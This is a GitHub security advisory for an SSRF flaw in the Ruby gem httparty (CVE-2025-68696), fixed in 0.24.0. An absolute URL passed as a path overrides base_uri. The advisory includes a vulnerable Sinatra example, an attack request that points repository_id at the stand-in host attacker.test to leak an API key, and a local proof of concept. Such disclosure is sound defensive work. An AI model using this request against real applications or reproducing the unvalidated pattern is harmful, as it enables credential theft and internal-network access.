GitHub Advisoryadvisory · RubyGems
GHSA-hm5p-x4rq-38w4 httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
HIGH
Official page ↗
- Aliases
- CVE-2025-68696
- Ecosystem
- RubyGems
- Packages
- httparty
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2025-12-23
Affected packages
• RubyGems httparty: < 0.24.0 → fixed in 0.24.0
Description
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
```rb
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
```
Now, suppose an attacker sends a request like this:
```
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
```
In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.
A similar problem was reported and fixed in the HTTP client library axios in the past:
Also, Python's `urljoin` function has documented a warning about similar behavior:
PoC
Follow these steps to reproduce the issue:
1. Set up two simple HTTP servers.
```bash
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
```
2. Create a script (for example, `main.rb`):
```rb
require 'httparty'
class Client
include HTTParty
base_uri 'http://localhost:10001'
end
data = Client.get('http://localhost:10002').body
puts data
```
3. Run the script:
```bash
$ ruby main.rb
this is server2
```
Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.
Impact
• Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
• SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
• Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.
Related
Alias · CVE (1)
- CVE-2025-68696 httparty is an API tool. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-68696 advisory
- https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240 web
- https://github.com/jnunemaker/httparty package
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml web